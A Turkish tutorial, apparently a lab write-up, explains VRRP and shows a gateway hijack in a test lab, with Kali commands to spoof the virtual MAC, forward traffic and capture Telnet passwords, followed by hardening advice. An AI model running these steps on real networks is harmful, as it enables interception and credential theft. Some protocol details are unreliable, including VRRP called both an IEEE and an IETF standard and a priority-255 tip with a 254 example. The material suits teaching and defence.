🖥️30-VRRP ATTACK

VRRP NEDİR ?

IEEE (Institute of Electrical and Electronics Engineers - Elektrik ve Elektronik Mühendisleri Enstitüsü) standardında bir yönlendirici yedekliliği protokolü olan VRRP, ağlarda yüksek kullanılabilirlik sağlamak için kullanılır. Bu protokol, HSRP (Hot Standby Router Protocol - Hazır Yedekteki Yönlendirici Protokolü) gibi, birden fazla yönlendiricinin tek bir sanal yönlendirici gibi davranmasını sağlar. Bu, ağın kesintisiz çalışmasını sağlamak için önemlidir.

Sanal yönlendirici, bir yönlendirici grubunu temsil eder ve VRRP grubu ya da sanal yönlendirici olarak adlandırılır. Bu grup içinde bir ana yönlendirici (master router) ve bir veya daha fazla yedek yönlendirici (backup router) bulunur. Ana yönlendirici, sanal IP (Internet Protocol - İnternet Protokolü) adresine gelen istekleri işler ve ağ trafiğini yönlendirir. Diğer yedek yönlendiriciler, ana yönlendiriciye yedek olarak bekler ve gerektiğinde onun yerine geçerler.

Yerel ağ cihazları, ağ trafiğini yönlendirmek için varsayılan ağ geçidi olarak sanal yönlendirici grubunun IP adresini kullanır. Bu, ağda bir arıza durumunda otomatik olarak yedek bir yönlendiriciye geçilmesini sağlar, böylece kesinti minimumda tutulur ve kullanıcılar için kesintisiz bir deneyim sağlanır.

VRRP'yi bir diğer yedeklilik protokolü olan HSRP'den ayıran başlıca özellikleri şunlardır:

• HSRP Cisco’ya özel bir protokolken VRRP IEEE standartında açık bir protokoldür.

• HSRP’deki aktif yönlendirici (active router) VRRP’de ana yönlendirici olarak adlandırılır.

• VRRP’de yönlendiricilere sanal yönlendirici grubunun IP adresi verilebilir. Sanal yönlendirici grubunun IP adresi verilen yönlendirici ana yönlendirici olur.

• HSRP’de sadece bir adet yedek yönlendirici bulunurken VRRP’de birden fazla yedek yönlendirici bulunabilir.

VRRP'nin özellikleri aşağıdaki gibi sıralanabilir:

1. Yedeklilik (Redundancy): VRRP, birden çok yönlendiriciyi varsayılan ağ geçidi (default gateway) olarak yapılandırmaya izin verir. Bu özellik, "single point of failure" yani tek bir noktadan kaynaklanan başarısızlık olasılığını düşürür. Yani, ağdaki herhangi bir yönlendiricinin arızalanması durumunda diğer yönlendiriciler hala ağ trafiğini yönlendirebilir ve kesintilerin önlenmesine yardımcı olur.

2. Yük paylaşımı (Load sharing): VRRP, LAN (Local Area Network - Yerel Alan Ağı) cihazlarının trafiğinin birden fazla yönlendirici üzerinden iletilmesine imkan sağlar. Bu, veri trafiğinin birden fazla yönlendirici tarafından paylaşılmasını ve böylece yönlendiriciler üzerindeki yükün azaltılmasını sağlar.

3. Birden çok sanal yönlendirici desteği (Multiple virtual routers support): VRRP, yönlendiricinin fiziksel bağlantı noktası (port)'nda 255 adete kadar sanal yönlendirici (VRRP grubu)'yi destekler. Bu özellik sayesinde birden çok yönlendirici desteği olan bir LAN topolojisinde yedeklilik ve yük paylaşımı sağlanabilir.

4. Çoklu IP adresi (Multiple IP addresses): Sanal yönlendiriciye, ikincil IP (secondary IP) de olmak üzere birden fazla IP adresi atanabilir. Bu şekilde, bir Ethernet bağlantı noktasından birden fazla alt ağ (subnet) yapılandırıldığında, her alt ağ için ayrı bir VRRP yapılandırması yapılabilir ve yönlendiriciye daha fazla esneklik sağlanabilir.

5. Preemption: Bu özellik aktif hale getirilirse, VRRP'deki ana yönlendiricinin düşmesi durumunda önceliğine göre ana yönlendirici olan yedek yönlendirici, düşen yönlendiricinin tekrar çalışır duruma gelmesinden sonra otomatik olarak yeniden yedek yönlendirici olur. Bu, ağda kesintileri minimize eder ve hızlı bir şekilde geri yedekleme sağlar.

VRRP ile ilgili bazı önemli terimler:

Virtual IP address- Bir IP adresi, yerel alt ağdaki tüm ana bilgisayarlar için varsayılan ağ geçidi olarak yapılandırılan bir yerel sanal IP adresine atanır.

Virtual MAC address - Sanal MAC adresi, onaltılık sistemde VRRP grubu numarası olarak son 8 bayt alınarak otomatik olarak oluşturulur. VRRP'de kullanılan MAC adresi 0000.5e00.01xx şeklindedir. Burada xx, onaltılık sistemde VRRP grubu numarasını ifade eder.

Master router- VRRP grubunun bir üyesi, yerel trafiği yönlendirme sorumluluğunu üstlenen ana yönlendirici olarak seçilir. Yönlendirici, öncelik esasına göre seçilir. Eğer VRRP grubu üyelerinden bazıları diğerlerinden daha yüksek önceliğe sahipse, bu üye ana yönlendirici olarak seçilir. Eğer öncelikler aynı ise (varsayılan olarak 100), en yüksek IP adresine sahip olan yönlendirici ana yönlendirici olacaktır.

Backup routers - VRRP grubunun üyelerinden yalnızca biri ana yönlendirici olurken, diğerleri yedek yönlendirici konumundadır. Ana yönlendiricinin arızalanması durumunda, yedek yönlendiricilerden biri ana yönlendirici olarak görev yapacaktır.

Master advertisement timer - Ana yönlendirici, canlı tutma mesajlarını her saniyede bir 224.0.0.18 IP adresine çoklu yayın yapar.

Master dead timer - Ana reklam mesajının alınmaması durumunda, yedek yönlendiricinin ana yönlendiricinin sorumluluklarını üstleneceği süre varsayılan olarak 3,69 saniyedir.

Preempt- Yedek yönlendiricilerden birinin ana yönlendirici haline gelmesi durumu, ana yönlendiricinin çökmesi durumunda gerçekleşir. Ayrıca, ana yönlendiricinin tekrar ortaya çıktığında, önceliği hala yüksek olduğundan ana yönlendirici olarak devam edecektir.

Object tracking - VRRP nesne izleme, en iyi yönlendiricinin ana yönlendirici olmasını sağlayacak bir yöntem sunar. Geçerli ana yönlendirici, izlenen nesne durumunu (örneğin, hat protokolünün aktif veya pasif olması gibi) sürekli olarak denetler. Ana yönlendirici, hat protokolünün devre dışı kalması durumunda yedek yönlendiricinin önceliğini dinamik olarak artırarak (yani, ana yönlendirici olacak şekilde) öncelikle almasını sağlar.

Authentication - VRRP, üç tür kimlik doğrulamayı destekler: 1. Kimlik doğrulama yok, 2. Düz metin kimlik doğrulaması, 3. MD5 kimlik doğrulaması.

VRRP, aşağıdaki durumlarda paketi reddeder:

1. Kimlik doğrulama şemaları yönlendiricilere ve gelen paketlere göre farklılık gösterir.

2. MD5 özeti yönlendiricilere ve gelen paketlere göre farklılık gösterir.

3. Metin kimlik doğrulama dizeleri yönlendiricide ve gelen pakette farklıdır.

Bu resim PC1'in R1'i varsayılan ağ geçidi olarak nasıl kullandığını gösterir. Bunu ağın çekirdeğine ulaşmak veya internetten çıkmak için yapar. Ancak R1 başarısız olduğunda, R2 üzerinden başka bir bağlantı olsa bile PC1 artık yerel ağdan çıkamaz.

Yukarıdaki görüntüde gösterildiği gibi R1, daha yüksek öncelik nedeniyle VRRP grup 1'de master olarak seçilir. Bu nedenle, bilgisayarlar varsayılan ağ geçidi 192.168.1.254'e veri gönderdiğinde, R1 verileri işleyecek ve ağın dışına iletecektir.

Hem R1 hem de R2'nin katılabileceği ancak zıt rollere sahip olduğu iki VRRP grubu yapılandırırsanız yük paylaşımı da sağlayabileceğinizi unutmayın.

Örneğin R1 grup 1'de master, grup 2'de yedek olabilirken, R2 grup 2'de master ve grup 1'de yedek olabilir. Bu şekilde PC1 ve PC2'yi PC3 ve PC4'ten farklı ağ geçitleri kullanacak şekilde yapılandırabilir ve trafiği dağıtabilirsiniz. yönlendiriciler arasında daha eşit bir şekilde.

VRRP'nin iki sürümü vardır:

1. VRRPv2 – IPv4'ü destekler

2. VRRPv3 – IPv4 ve IPv6'yı destekler

VRRP'nin Avantajları

Sanal Yönlendirici Yedeklilik Protokolünün bazı avantajları şunlardır:

• İnternet Mühendisliği Görev Gücü (IETF) tarafından geliştirilen ve çeşitli satıcılar ve cihazlar tarafından yaygın olarak desteklenen açık standart bir protokoldür.

• Karmaşık yönlendirme protokolleri veya yapılandırmaları gerektirmediği için yapılandırılması ve bakımı kolaydır.

• Birincil/ana cihazın herhangi bir şekilde çalışamaması durumunda her zaman bir yedekleme cihazı mevcuttur. Dolayısıyla tek bir başarısızlık noktası yoktur.

• Ölçeklenebilirdir ve alt ağ başına 255 adede kadar VRRP grubunu ve fiziksel yönlendirici başına birden fazla sanal yönlendiriciyi destekler.

VRRP'nin dezavantajları

Sanal Yönlendirici Yedeklilik Protokolünün dezavantajlarından bazıları şunlardır:

• Canlı tutma mesajlarını ve seçim paketlerini iletmek ve işlemek için çok fazla bant genişliği ve CPU kaynağı gerekir.

• Ana yönlendiriciden yedek yönlendiriciye geçişte gecikmeye neden olur ve bu, zamana duyarlı bazı uygulamaları veya protokolleri etkileyebilir.

• Düz metin kimlik doğrulaması ve MD5 kimlik doğrulaması kaba kuvvet saldırılarına veya tekrarlama saldırılarına karşı savunmasız olduğundan VRRP paketleri için güvenlik veya şifreleme sağlamaz.

VRRP, OSI modelinin 3. katmanı olan ağ katmanında çalışır.

00-00-5E-00-01-XX' MAC adresini kullanır.

VRRP IP Katmanını kullandığı için port numarası bulunmaz.

İPV6 ff02::12 kullanır.

Priority değeri varsayılan olarak 100 olarak gelir.

Örnek Bir VRRP Yapılandırması ve Trafik Akışı

LAB VRRP Example

Packet Tracer ortamında hazırlanan lab ortamı, VRRP kavramını anlamak için oluşturulmuştur. Buradaki işaretli rota, kullanılacak olan birinci rota olarak temsil edilmektedir. Diğer rotalar ise yedek rotalar olarak belirlenmiştir.

VRRP ATTACK

Öncelikle saldırı yapacağımız laboratuvar ortamını hazırladık ve şimdi Kali Linux'i nereye konumlandıracağımıza bakalım.

R2(config)#interface fastEthernet 0/0
R2(config-if)#vrrp 10 ip 192.168.1.254 
R2(config-if)#vrrp 10 priority 200
R2(config-if)#vrrp 10 preempt 
*Mar  8 18:24:57.635: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Init -> Backup
*Mar  8 18:24:57.635: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Backup -> Init
*Mar  8 18:24:57.635: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Init -> Backup 
*Mar  8 18:25:01.247: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Backup -> Master
//Master olmuş.

--
R3(config)#interface fastEthernet 0/0
R3(config-if)#vrrp 10 ip 192.168.1.254
R3(config-if)#vrrp 10 priority 150
R3(config-if)#vrrp 10 preempt       
*Mar  8 18:30:08.479: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Init -> Backup
*Mar  8 18:30:08.483: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Backup -> Init
*Mar  8 18:30:08.483: %VRRP-6-STATECHANGE: Fa0/0 Grp 10 state Init -> Backup
//Görüldüğü gibi backup olmuş.

Komut kullanarak kimin ana (master) olduğunu ve sanal IP adresini nasıl görebiliriz.

Daha fazla detay isteyenler için.

Daha sonra yerleştirildikten sonra saldırımıza başlayabiliriz.

istemde görülen Wireshark çıktısı görülmektedir.

Kimlik doğrulama bulunmamaktadır.

Öncelikle aktif olan yönlendirici ve IP adresi, ardından ise diğer duruma bakalım.

Sistemde artık Kali Linux aktif ve saldırgan, artık her şeyin üstesinden rahatlıkla gelebilir.

Ve Daha sonra artık herşey bitiyor.

İleri Seviyede VRRP Saldırısı

Telnet bağlantısı yapacağım ve bunu üstümden geçirip parolaları alacağım. Şimdi bunu yapalım ve birkaç gerekli ayarlamayı yapmamız gerekecek.

sudo macchanger --mac 00:00:5e:00:01:xx eth0
sudo macchanger --mac 00:00:5e:00:01:0a eth0
//XX olan yere wireshark ile yakalanan ip grup numarası yazılacak dikkatli olun.
sudo ifconfig eth0 promisc
sudo sysctl -w net.ipv4.ip_forward=1
Loki'yi açıyoruz (Lokiyi ayrı bir derste kurulumuna bakıcaz.)
sudo ifconfig eth0:1 192.168.1.254 netmask 255.255.255.0
// Sanal VRRP ip adresi
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1 
//Aktif olarak önceden olan Master router rotası
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
//Trafiği yönlendirmek için kullanılan iptables kuralı.

Benim yazacağım bu olacak.

Hepsini yaptıktan sonra ise hemen başka makine üstünden giriş yapıp test edelim.

Paket Detayı

• VRRP protocol version: 2: Bu paketin VRRP protokolünün ikinci sürümünü kullandığını belirtir.

• Packet type: Advertisement (1): Bu paket bir reklam (advertisement) paketidir, yani birincil ve yedek yönlendiricilerin varlığını ve durumlarını belirtir.

• Virtual Router ID: 10: Bu, VRRP grubu içindeki sanal yönlendiricinin kimliğidir. Bir ağdaki birden fazla VRRP grubu olabilir ve her biri benzersiz bir sanal yönlendirici kimliğine sahip olmalıdır.

• Priority: 200 (Non-default backup priority): Yedek (backup) yönlendiricinin önceliğini belirtir. 200, varsayılan olmayan bir yedek önceliğini temsil eder. Yani, bu yedek yönlendirici, başka bir yedek yönlendiriciden daha yüksek önceliğe sahip olduğu için yedek olarak hizmet vermektedir.

• Addr Count: 1: Bu, VRRP paketinde duyurulan IP adreslerinin sayısını belirtir. Bu paket tek bir IP adresi duyuruyor.

• Auth Type: No Authentication (0): Bu paketin kimlik doğrulama türünü belirtir. "No Authentication" seçeneği, paketin kimlik doğrulama olmadan gönderildiğini gösterir.

• Adver Int: 1: Bu, reklam paketlerinin kaç saniyede bir gönderileceğini belirtir. Bu durumda, reklam paketleri 1 saniyede bir gönderilmektedir.

• Checksum: 0x544c [correct]: Bu, paketin bütünlüğünü sağlamak için kullanılan kontrol toplamını temsil eder. Kontrol toplamının doğru olduğu belirtilmiştir.

• IP Address: 192.168.1.254: Bu, VRRP grubunda kullanılan sanal IP adresini belirtir. Bu IP adresi, ağdaki cihazlar için varsayılan yönlendirici gibi davranacaktır.

VRRP Önlemler

Priority 255

Güvenlik nedeniyle, Ana (veya Aktif) yönlendiricide maksimum önceliğin ayarlanması önerilir. Sonuç olarak, önceliği 255 olan kötü amaçlı bir paket göndermek, zaten mevcut olduğundan saldırganı "ana" yapmaz.

vrrp 10 priority 254

Authentication

FHRP alanınızı şifre kimlik doğrulamasını kullanarak koruyacaksanız şifrenizin yeterince güçlü olduğundan ve kaba kuvvet uygulanamayacağından emin olun. Daha önce gösterildiği gibi, karma ağ üzerinden düz metin olarak iletilir; yani bir saldırganın şifreye kaba kuvvet uygulama şansı olur.

vrrp 10 authentication md5 key-string hackme
vrrp 10 authentication text hackme

Bunlar pek güvenli değil ve daha ileri düzeyde bir şey yapmamız gerekecek.

key chain hackme
key 1
key-string  hackme2
accept-lifetime 20:00:00 janu  1 2024 20:00:00 janu 2 2024
send-lifetime 20:00:00 janu  1 2024 20:00:00 janu  2 2024
key 2
....
....
//Böyle böyle önlem için balirli aralıkta key oluşturup bittiğinde diğerinin devreye
//girmesini sağlayabiliriz bu sıkılıştırmanının en yüksek seviyede olduğunu an olur.
interface GigabitEthernet 0/1
vrrp 10 authentication md5 key-chain hackme

ACL

access-list 101 permit 112 any host 224.0.0.18
access-list 101 extended permit 112 any host 224.0.0.18
access-list 101 deny ip 224.0.0.18 any
access-list 101 deny ip any 224.0.0.18
access-list 101 permit ip any any
//Gibi gibi ACL listler çoğalabilir.

Sonuç

VRRP (Virtual Router Redundancy Protocol), ağlarda yüksek kullanılabilirlik ve dayanıklılık sağlamak için kullanılan bir protokoldür. Ancak, kötü niyetli aktörlerin bu protokolü hedef alarak ağa saldırılar düzenlemesi mümkündür. VRRP saldırıları, ağa bağlı cihazların normal çalışmasını engelleyebilir veya kesintilere neden olabilir. Bu saldırı türleri arasında VRRP düzenlemelerini manipüle etme, sunucu olarak davranan yanıltıcı bir cihazın ortaya çıkması ve hatta hedeflenen cihazın kaynaklarını tüketme gibi çeşitli yöntemler bulunabilir.